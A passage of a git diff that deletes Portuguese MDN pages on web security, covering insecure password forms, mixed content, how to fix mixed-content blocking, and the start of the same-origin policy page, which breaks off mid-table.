-<p style="text-align: center;"><img alt="Insecure login form action shown with the Web Console and contextual warning on the password field." src="https://mdn.mozillademos.org/files/14785/Insecure_Action_Password_Console_Contextual_sm.png" style="height: 566px; width: 790px;"></p>
-
-<h2 id="Nota_sobre_a_reutilização_de_palavra-passe">Nota sobre a reutilização de palavra-passe</h2>
-
-<p>Por vezes, as páginas requerem nomes de utilizador e palavras-passe, mas não guardam dados que sejam particularmente sensíveis. Por exemplo, uma página de notícias pode gravar quais os anúncios que um utilizador queira voltar a rever e ler, sem guardar quaisquer dados acerca deste utilizador. Os programadores web deste tipo de páginas poderão estar menos preocupados a promover a segurança desta página e dos dados dos seus utilizadores.</p>
-
-<p>Infelizmente, <a href="https://www.lightbluetouchpaper.org/2011/02/09/measuring-password-re-use-empirically/">a reutilização de palavras-passe é um grande problema</a>. Os utilizadores tendem a utilizar a mesma palavra-passe para aceder a múltiplas páginas (seja de notícias, redes sociais, serviços de email, bancos, etc.). Por essa razão, mesmo que o acesso ao utilizador e palavra-passe do seu site não lhe pareça um enorme risco, é um grande risco para utilizadores que usem esse mesmo nome de utilizador e palavra-passe para aceder, por exemplo, às suas contas bancárias. Os atacantes estão a tornar-se cada vez mais espertos; roubam pares de nomes de utilizador/palavra-passe de um site, e tentam reusá-los em sites mais lucrativos.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li class="entry-title"><a href="https://blog.mozilla.org/tanvi/2016/01/28/no-more-passwords-over-http-please/">Não Utilizar Mais Palavras-passe sobre HTTP, Por favor!</a> (inglês)— artigo de blogue detalhado com mais informação, e perguntas frequentes.</li>
-</ul>
-
-<p class="entry-title">{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; display: none; opacity: 1; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/security/mixed_content/how_to_fix_website_with_mixed_content/index.html b/files/pt-pt/web/security/mixed_content/how_to_fix_website_with_mixed_content/index.html
deleted file mode 100644
index e5694cc79a..0000000000
--- a/files/pt-pt/web/security/mixed_content/how_to_fix_website_with_mixed_content/index.html
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: Como corrigir um site da Web com conteúdo misto bloqueado
-slug: Web/Security/Mixed_content/How_to_fix_website_with_mixed_content
-tags:
- - HTTPS
- - Segurança
-translation_of: Web/Security/Mixed_content/How_to_fix_website_with_mixed_content
-original_slug: >-
- Web/Security/Mixed_content/Como_corrigir_um_site_da_Web_com_conteudo_misto_bloqueado
----
-<p>A partir do <a href="/en-US/docs/Mozilla/Firefox/Releases/23" title="/en-US/docs/Mozilla/Firefox/Releases/23">Firefox 23</a>, o Firefox bloqueia o <a href="/en-US/docs/Security/MixedContent#Mixed_active_content" title="/en-US/docs/Security/MixedContent#Mixed_active_content">conteúdo misto ativo </a>por predefinição. Isto segue uma prática adotada pelo Internet Explorer (A partir da <a href="http://blogs.msdn.com/b/ie/archive/2011/06/23/internet-explorer-9-security-part-4-protecting-consumers-from-malicious-mixed-content.aspx" title="http://blogs.msdn.com/b/ie/archive/2011/06/23/internet-explorer-9-security-part-4-protecting-consumers-from-malicious-mixed-content.aspx">versão 9</a>) e <a href="http://googleonlinesecurity.blogspot.com/2011/06/trying-to-end-mixed-scripting.html" title="http://googleonlinesecurity.blogspot.com/2011/06/trying-to-end-mixed-scripting.html">Chrome</a>.</p>
-
-<p>Esta página explica a que deverá prestar atenção, como um programador da Web.</p>
-
-<h2 id="O_seu_site_da_Web_poderá_crachar">O seu site da Web poderá crachar</h2>
-
-<p>If your website delivers HTTPS pages, all <a href="/en-US/docs/Security/MixedContent#Mixed_active_content" title="/en-US/docs/Security/MixedContent#Mixed_active_content">active mixed content</a> delivered via HTTP on this pages will be blocked by default. Consequently, your website may appear broken to users (if iframes or plugins don't load, etc.). <a href="/en-US/docs/Security/MixedContent#Mixed_passivedisplay_content" title="/en-US/docs/Security/MixedContent#Mixed_passive.2Fdisplay_content">Passive mixed content</a> is displayed by default, but users can set a preference to block this type of content, as well.</p>
-
-<p>Note that since mixed content blocking already happens in Chrome and Internet Explorer, it is very likely that if your website works in both of these browsers, it will work equally well in Firefox with mixed content blocking.</p>
-
-<p>In any case, the best way to know if something is broken in Firefox is to download the <a href="https://www.mozilla.org/en-US/firefox/developer/" title="https://www.mozilla.org/en-US/firefox/developer/">latest Firefox Edition</a>, open different pages on your website with the <a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">web console</a> open (enable the "Security" messages) and see if anything related to mixed content is reported. Or use an online crawler like <a href="http://www.jitbit.com/sslcheck/">SSL-check</a>, a desktop crawler like <a href="https://httpschecker.net/how-it-works">HTTPSChecker</a> that will check your website recursively and find links to insecure content, or a CLI tool like <a href="https://github.com/agis/mcdetect">mcdetect</a>. If nothing is said about mixed content, your website is in good shape: Keep making excellent websites!</p>
-
-<h2 id="Como_corrigir_um_site_da_Web">Como corrigir um site da Web</h2>
-
-<p>The best strategy to avoid mixed content blocking is to serve all the content as HTTPS instead of HTTP.</p>
-
-<p><strong>Para o seu próprio domínio,</strong> serve all content as HTTPS and fix your links.  Often, the HTTPS version of the content already exists and this just requires adding an "s" to links - http:// to https://.</p>
-
-<p>However, in some cases, the path may just be incorrect to the media in question. There are online as well as offline tools (depending on your operating system) such as <a href="https://wummel.github.io/linkchecker/">linkchecker</a> to help resolve this.</p>
-
-<p><strong>Para outros domínios, </strong>use the site's HTTPS version if available. If HTTPS is not available, you can try contacting the domain and asking them if they can make the content available via HTTPS.</p>
diff --git a/files/pt-pt/web/security/mixed_content/index.html b/files/pt-pt/web/security/mixed_content/index.html
deleted file mode 100644
index 07b4bcd3f9..0000000000
--- a/files/pt-pt/web/security/mixed_content/index.html
+++ /dev/null
@@ -1,81 +0,0 @@
----
-title: Conteúdo misto
-slug: Web/Security/Mixed_content
-tags:
- - Consola
- - HTTP
- - HTTPS
- - Segurança
- - Web
-translation_of: Web/Security/Mixed_content
-original_slug: Web/Security/Conteudo_misto
----
-<p>Quando um utilizador visita uma página servida sobre {{Glossary("HTTPS")}}, a sua ligação com o servidor da <em>Web </em>é encriptada com {{Glossary("TLS")}} e é, portanto, salvaguardada da maioria dos <em>sniffers</em> e ataques <em>man-in-the-middle</em>. Uma página HTTPS que inclui conteúdo obtido utilizando texto simples HTTP é chamada de de página de <strong>conteúdo misto</strong>. As páginas como esta são apenas parcialmente encriptadas, deixando o conteúdo não encriptado acessível aos <em>sniffers</em> e atacantes <em>man-in-the-middle</em>. Isso deixa as páginas inseguras.</p>
-
-<h2 id="Tipos_de_conteúdo_misto">Tipos de conteúdo misto</h2>
-
-<p>There are two categories for mixed content: <strong>mixed passive/display content</strong> and <strong>mixed active content</strong>. The difference lies in the threat level of the worst case scenario if content is rewritten as part of a man-in-the-middle attack. In the case of passive content, the threat is lower (the page may contain misleading content, or the user's cookies may be stolen). In the case of active content, the threat can lead to phishing, sensitive data disclosure, redirection to malicious sites, etc.</p>
-
-<h3 id="Conteúdo_misto_passivode_exibição">Conteúdo misto passivo/de exibição</h3>
-
-<p>Mixed passive/display content is content served over HTTP that is included in an HTTPS webpage, but that cannot alter other portions of the webpage. For example, an attacker could replace an image served over HTTP with an inappropriate image or message to the user. The attacker could also infer information about the user's activities by watching which images are served to the user; often images are only served on a specific page within a website. If the attacker observes HTTP requests to certain images, they could determine which webpage the user is visiting.</p>
-
-<h4 id="Lista_de_conteúdo_passivo">Lista de conteúdo passivo</h4>
-
-<p>This section lists all types of HTTP requests which are considered passive content:</p>
-
-<ul>
- <li>{{HTMLElement("img")}} (<code>src</code> attribute)</li>
- <li>{{HTMLElement("audio")}} (<code>src</code> attribute)</li>
- <li>{{HTMLElement("video")}} (<code>src</code> attribute)</li>
- <li>{{HTMLElement("object")}} subresources (when an <code>&lt;object&gt;</code> performs HTTP requests)</li>
-</ul>
-
-<h3 id="Conteúdo_ativo_misto">Conteúdo ativo misto</h3>
-
-<p><strong>Mixed active content</strong> is content that has access to all or parts of the Document Object Model of the HTTPS page. This type of mixed content can alter the behavior of the HTTPS page and potentially steal sensitive data from the user. Hence, in addition to the risks described for mixed display content above, mixed active content is vulnerable to a few other attack vectors.</p>
-
-<p>In the mixed active content case, a man-in-the-middle attacker can intercept the request for the HTTP content. The attacker can also rewrite the response to include malicious JavaScript code. Malicious active content can steal the user's credentials, acquire sensitive data about the user, or attempt to install malware on the user's system (by leveraging vulnerabilities in the browser or its plugins, for example).</p>
-
-<p>The risk involved with mixed content does depend on the type of website the user is visiting and how sensitive the data exposed to that site may be. The webpage may have public data visible to the world or private data visible only when authenticated. If the webpage is public and has no sensitive data about the user, using mixed active content still provides the attacker with the opportunity to redirect the user to other HTTP pages and steal HTTP cookies from those sites.</p>
-
-<h4 id="Exemplos_de_conteúdo_ativo">Exemplos de conteúdo ativo</h4>
-
-<p>This section lists some types of HTTP requests which are considered active content:</p>
-
-<ul>
- <li>{{HTMLElement("script")}} (<code>src</code> attribute)</li>
- <li>{{HTMLElement("link")}} (<code>href</code> attribute) (this includes CSS stylesheets)</li>
- <li>{{HTMLElement("iframe")}} (<code>src</code> attribute)</li>
- <li>{{domxref("XMLHttpRequest")}} requests</li>
- <li>{{domxref("GlobalFetch.fetch","fetch()")}} requests</li>
- <li>All cases in CSS where a {{cssxref("url")}} value is used ({{cssxref("@font-face")}}, {{cssxref("cursor")}}, {{cssxref("background-image")}}, and so forth).</li>
- <li>{{HTMLElement("object")}} (<code>data</code> attribute)</li>
-</ul>
-
-<p>Other resource types like web fonts and workers may be considered active mixed content, <a href="https://code.google.com/p/chromium/codesearch#chromium/src/third_party/WebKit/Source/core/loader/MixedContentChecker.cpp&amp;q=MixedContentChecker::contextTypeFromContext%20f:cpp&amp;sq=package:chromium&amp;type=cs">as they are in Chromium</a>.</p>
-
-<h2 id="Avisos_na_Consola_da_Web">Avisos na Consola da <em>Web</em></h2>
-
-<p>The Firefox Web Console displays a mixed content warning message in the Net pane when a page on your website has this issue. The mixed content resource that was loaded via HTTP will show up in red, along with the text "mixed content", which links to this page.</p>
-
-<p><a class="internal" href="/files/12545/Mixed_content_-_Net_pane.png"><img alt="Screen shot of the web console displaying a mixed content warning." src="https://mdn.mozillademos.org/files/12545/Mixed_content_-_Net_pane.png" style="border-style: solid; border-width: 1px; height: 286px; width: 720px;"></a></p>
-
-<p>As well as finding these warnings in the Web Console, you could use <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy (CSP)</a> to report issues or a website crawler to find issues across your site, such as <a href="https://httpschecker.net/guides/https-checker">HTTPS Checker</a> or <a href="https://github.com/bramus/mixed-content-scan">Mixed Content Scan</a>.</p>
-
-<p>Starting in Firefox 23, mixed active content is blocked by default (and mixed display content can be blocked by setting a preference). To make it easier for web developers to find mixed content errors, all blocked mixed content requests are logged to the Security pane of the Web Console, as seen below:</p>
-
-<p><a href="/files/5261/blocked-mixed-content-errors.png"><img alt="A screenshot of blocked mixed content errors in the Security Pane of the Web Console" src="https://mdn.mozillademos.org/files/12543/mixed_content_webconsole.png" style="border-style: solid; border-width: 1px; height: 285px; width: 720px;"></a></p>
-
-<p>To fix this type of error, all requests to HTTP content should be removed and replaced with content served over HTTPS. Some common examples of mixed content include JavaScript files, stylesheets, images, videos, and other media.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: a partir do Firefox 55, o carregamento de conteúdo misto é permitido em http://127.0.0.1/ (see {{bug(903966)}}).  O Chrome permite conteúdo misto em http://127.0.0.1/ e http://localhost/. O Safari não permite conteúdo misto.</p>
-</div>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="https://w3c.github.io/webappsec/specs/mixedcontent/" title="https://w3c.github.io/webappsec/specs/mixedcontent/">Conteúdo Misto - W3C Editor's Draft</a></li>
- <li><a href="/pt-PT/docs/Web/Security/Mixed_content/Como_corrigir_um_site_da_Web_com_conteudo_misto_bloqueado">Como corrigir um site da Web com conteúdo misto bloqueado</a></li>
-</ul>
diff --git a/files/pt-pt/web/security/same-origin_policy/index.html b/files/pt-pt/web/security/same-origin_policy/index.html
deleted file mode 100644
index a96af69ecb..0000000000
--- a/files/pt-pt/web/security/same-origin_policy/index.html
+++ /dev/null
@@ -1,264 +0,0 @@
----
-title: Same-origin policy
-slug: Web/Security/Same-origin_policy
-translation_of: Web/Security/Same-origin_policy
-original_slug: Web/Seguranca/Same-origin_policy
----
-<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</div>
-
-<p><span class="seoSummary">The <strong>same-origin policy</strong> is a critical security mechanism that restricts how a document or script loaded from one {{Glossary("origin")}} can interact with a resource from another origin.</span> It helps isolate potentially malicious documents, reducing possible attack vectors.</p>
-
-<p>Definição de uma Origem</p>
-
-<p>Duas URL tem a  mesma origem se o {{Glossary("protocol")}}, {{Glossary("port")}} (if specified), and {{Glossary("host")}} are the same for both. You may see this referenced as the "scheme/host/port tuple", or just "tuple". (A "tuple" is a set of items that together comprise a whole — a generic form for double/triple/quadruple/quintuple/etc.)</p>
-
-<p>The following table gives examples of origin comparisons with the URL <code>http://store.company.com/dir/page.html</code>:</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>URL</th>
- <th>Outcome</th>
- <th>Reason</th>
- </tr>
- <tr>
- <td><code>http://store.company.com/dir2/other.html</code></td>
- <td>Same origin</td>
- <td>Only the path differs</td>
- </tr>
- <tr>
- <td><code>http://store.company.com/dir/inner/another.html</code></td>
- <td>Same origin</td>
- <td>Only the path differs</td>
- </tr>
- <tr>
- <td><code>https://store.company.com/page.html</code></td>
- <td>Failure</td>
- <td>Different protocol</td>
- </tr>
- <tr>
- <td><code>http://store.company.com:81/dir/page.html</code></td>
- <td>Failure</td>
- <td>Different port (<code>http://</code> is port 80 by default)</td>
- </tr>
- <tr>
- <td><code>http://news.company.com/dir/page.html</code></td>
- <td>Failure</td>
- <td>Different host</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Inherited_origins">Inherited origins</h3>
-
-<p>Scripts executed from pages with an <code>about:blank</code> or <code>javascript:</code> URL inherit the origin of the document containing that URL, since these types of URLs do not contain information about an origin server.</p>
-
-<div class="note">
-<p>For example, <code>about:blank</code> is often used as a URL of new, empty popup windows into which the parent script writes content (e.g. via the {{domxref("Window.open()")}} mechanism). If this popup also contains JavaScript, that script would inherit the same origin as the script that created it.</p>
-</div>
-
-<div class="warning">
-<p><code>data:</code> URLs get a new, empty, security context.</p>
-</div>
-
-<h3 id="Exceptions_in_Internet_Explorer">Exceptions in Internet Explorer</h3>
-
-<p>Internet Explorer has two major exceptions to the same-origin policy:</p>
-
-<dl>
- <dt>Trust Zones</dt>
- <dd>If both domains are in the <em>highly trusted zone</em> (e.g. corporate intranet domains), then the same-origin limitations are not applied.</dd>
- <dt>Port</dt>
- <dd>IE doesn't include port into same-origin checks. Therefore, <code>https://company.com:81/index.html</code> and <code>https://company.com/index.html</code> are considered the same origin and no restrictions are applied.</dd>
-</dl>
-
-<p>These exceptions are nonstandard and unsupported in any other browser.</p>
-
-<h2 id="Changing_origin">Changing origin</h2>
-
-<p>A page may change its own origin, with some limitations. A script can set the value of {{domxref("document.domain")}} to its current domain or a superdomain of its current domain. If set to a superdomain of the current domain, the shorter superdomain is used for same-origin checks.</p>
-
-<p>For example, assume a script from the document at <code>http://store.company.com/dir/other.html</code> executes the following:</p>
-
-<pre class="brush: js notranslate">document.domain = "company.com";
-</pre>
-
-<p>Afterward, the page can pass the same-origin check with <code>http://company.com/dir/page.html</code> (assuming <code>http://company.com/dir/page.html</code> sets its <code>document.domain</code> to "<code>company.com</code>" to indicate that it wishes to allow that - see {{domxref("document.domain")}} for more). However, <code>company.com</code> could <strong>not</strong> set <code>document.domain</code> to <code>othercompany.com</code>, since that is not a superdomain of <code>company.com</code>.</p>
-
-<p>The port number is checked separately by the browser. Any call to <code>document.domain</code>, including <code>document.domain = document.domain</code>, causes the port number to be overwritten with <code>null</code>. Therefore, one <strong>cannot</strong> make <code>company.com:8080</code> talk to <code>company.com</code> by only setting <code>document.domain = "company.com"</code> in the first. It has to be set in both so their port numbers are both <code>null</code>.</p>
-
-<div class="note">
-<p><strong>Note:</strong> When using <code>document.domain</code> to allow a subdomain to access its parent securely, you need to set <code>document.domain</code> to the <em>same value</em> in both the parent domain and the subdomain. This is necessary even if doing so is simply setting the parent domain back to its original value. Failure to do this may result in permission errors.</p>
-</div>
-
-<h2 id="Cross-origin_network_access">Cross-origin network access</h2>
-
-<p>The same-origin policy controls interactions between two different origins, such as when you use {{domxref("XMLHttpRequest")}} or an {{htmlelement("img")}} element. These interactions are typically placed into three categories:</p>
-
-<ul>
- <li>Cross-origin <em>writes</em> are typically allowed. Examples are links, redirects, and form submissions. Some HTTP requests require <a href="/en-US/docs/Web/HTTP/CORS#Preflighted_requests">preflight</a>.</li>
- <li>Cross-origin <em>embedding</em> is typically allowed. (Examples are listed below.)</li>
- <li>Cross-origin <em>reads</em> are typically disallowed, but read access is often leaked by embedding. For example, you can read the dimensions of an embedded image, the actions of an embedded script, or the <a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=629094">availability of an embedded resource</a>.</li>
-</ul>
-
-<p>Here are some examples of resources which may be embedded cross-origin:</p>
-
-<ul>
- <li>JavaScript with <code>&lt;script src="…"&gt;&lt;/script&gt;</code>. Error details for syntax errors are only available for same-origin scripts.</li>
- <li>CSS applied with <code>&lt;link rel="stylesheet" href="…"&gt;</code>. Due to the <a class="external" href="https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html">relaxed syntax rules</a> of CSS, cross-origin CSS requires a correct <code>Content-Type</code> header. Restrictions vary by browser: <a class="external" href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/gg622939(v=vs.85)?redirectedfrom=MSDN">Internet Explorer</a>, <a class="external" href="https://www.mozilla.org/en-US/security/advisories/mfsa2010-46/">Firefox</a>, <a class="external" href="https://bugs.chromium.org/p/chromium/issues/detail?id=9877">Chrome</a> , <a class="external" href="https://support.apple.com/kb/HT4070">Safari</a> (scroll down to CVE-2010-0051) and <a class="external" href="https://security.opera.com/cross-domain-data-theft-with-css-load-opera-security-advisories/">Opera</a>.</li>
- <li>Images displayed by {{htmlelement("img")}}.</li>
- <li>Media played by {{htmlelement("video")}} and {{htmlelement("audio")}}.</li>
- <li>External resources embedded with {{htmlelement("object")}} and {{htmlelement("embed")}}.</li>
- <li>Fonts applied with {{cssxref("@font-face")}}. Some browsers allow cross-origin fonts, others require same-origin.</li>
- <li>Anything embedded by {{htmlelement("iframe")}}. Sites can use the {{HTTPHeader("X-Frame-Options")}} header to prevent cross-origin framing.</li>
-</ul>
-
-<h3 id="How_to_allow_cross-origin_access">How to allow cross-origin access</h3>
-
-<p>Use <a href="/en-US/docs/Web/HTTP/CORS">CORS</a> to allow cross-origin access. CORS is a part of {{Glossary("HTTP")}} that lets servers specify what hosts are permitted to load content from that server.</p>
-
-<h3 id="How_to_block_cross-origin_access">How to block cross-origin access</h3>
-
-<ul>
- <li>To prevent cross-origin writes, check an unguessable token in the request — known as a <a class="external" href="https://owasp.org/www-community/attacks/csrf">Cross-Site Request Forgery (CSRF)</a> token. You must prevent cross-origin reads of pages that require this token.</li>
- <li>To prevent cross-origin reads of a resource, ensure that it is not embeddable. It is often necessary to prevent embedding because embedding a resource always leaks some information about it.</li>
- <li>To prevent cross-origin embeds, ensure that your resource cannot be interpreted as one of the embeddable formats listed above. Browsers may not respect the <code>Content-Type</code> header. For example, if you point a <code>&lt;script&gt;</code> tag at an HTML document, the browser will try to parse the HTML as JavaScript. When your resource is not an entry point to your site, you can also use a CSRF token to prevent embedding.</li>
-</ul>
-
-<h2 id="Cross-origin_script_API_access">Cross-origin script API access</h2>
-
-<p>JavaScript APIs like {{domxref("HTMLIFrameElement.contentWindow", "iframe.contentWindow")}}, {{domxref("window.parent")}}, {{domxref("window.open")}}, and {{domxref("window.opener")}} allow documents to directly reference each other. When two documents do not have the same origin, these references provide very limited access to {{domxref("Window")}} and {{domxref("Location")}} objects, as described in the next two sections.</p>
-
-<p>To communicate between documents from different origins, use {{domxref("window.postMessage")}}.</p>
-
-<p>Specification: <a class="external" href="https://html.spec.whatwg.org/multipage/browsers.html#cross-origin-objects">HTML Living Standard § Cross-origin objects</a>.</p>
-
-<h3 id="Window">Window</h3>
-
-<p>The following cross-origin access to these <code>Window</code> properties is allowed:</p>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col">Methods</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{domxref("window.blur")}}</td>
- </tr>
- <tr>
- <td>{{domxref("window.close")}}</td>
- </tr>
- <tr>
- <td>{{domxref("window.focus")}}</td>
- </tr>
- <tr>
- <td>{{domxref("window.postMessage")}}</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col">Attributes</th>
- <th scope="col"></th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{domxref("window.closed")}}</td>
- <td>Read only.</td>
- </tr>
- <tr>
- <td>{{domxref("window.frames")}}</td>
- <td>Read only.</td>
- </tr>
- <tr>
- <td>{{domxref("window.length")}}</td>
- <td>Read only.</td>
- </tr>
- <tr>
- <td>{{domxref("window.location")}}</td>
- <td>Read/Write.</td>
- </tr>
- <tr>
- <td>{{domxref("window.opener")}}</td>
- <td>Read only.</td>
- </tr>
- <tr>
- <td>{{domxref("window.parent")}}</td>
